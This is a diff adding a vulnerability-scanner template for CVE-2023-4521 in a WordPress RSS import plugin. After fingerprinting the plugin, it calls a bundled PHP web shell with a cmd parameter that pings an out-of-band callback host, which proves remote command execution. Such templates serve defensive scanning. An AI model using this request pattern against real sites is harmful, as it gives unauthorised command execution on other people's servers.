Create CVE-2023-4521.yaml

http/cves/2023/CVE-2023-4521.yaml

@@ -0,0 +1,50 @@
+id: CVE-2023-4521
+
+info:
+  name: Import XML and RSS Feeds < 2.1.5 - Unauthenticated RCE
+  author: princechaddha
+  severity: critical
+  description: The Import XML and RSS Feeds WordPress plugin before 2.1.5 allows unauthenticated attackers to execute arbitrary commands via a web shell.
+  impact: |
+    Allows unauthenticated attackers to execute arbitrary code on the target system.
+  remediation: |
+    Update the Import XML and RSS Feeds WordPress Plugin to the latest version to mitigate the vulnerability.
+  reference:
+    - https://wpscan.com/vulnerability/de2cdb38-3a9f-448e-b564-a798d1e93481
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2023-4521
+    epss-score: 0.00156
+    epss-percentile: 0.51418
+    cpe: cpe:2.3:a:mooveagency:import_xml_and_rss_feeds:*:*:*:*:*:wordpress:*:*
+  metadata:
+    vendor: mooveagency
+    product: import_xml_and_rss_feeds
+    framework: wordpress
+    fofa-query: body="import-xml-feed"
+  tags: cve,cve2023,wordpress,wp,wpscan,unauth,rce
+
+flow: http(1) && http(2)
+
+http:
+  - raw:
+      - |
+        GET /wp-content/plugins/import-xml-feed/readme.txt HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: word
+        internal: true
+        words:
+          - 'Import XML and RSS Feeds'
+
+  - method: GET
+    path:
+      - "{{BaseURL}}/wp-content/plugins/import-xml-feed/uploads/169227090864de013cac47b.php?cmd=ping+{{interactsh-url}}"
+
+    matchers:
+      - type: word
+        part: interactsh_protocol
+        words:
+          - "dns"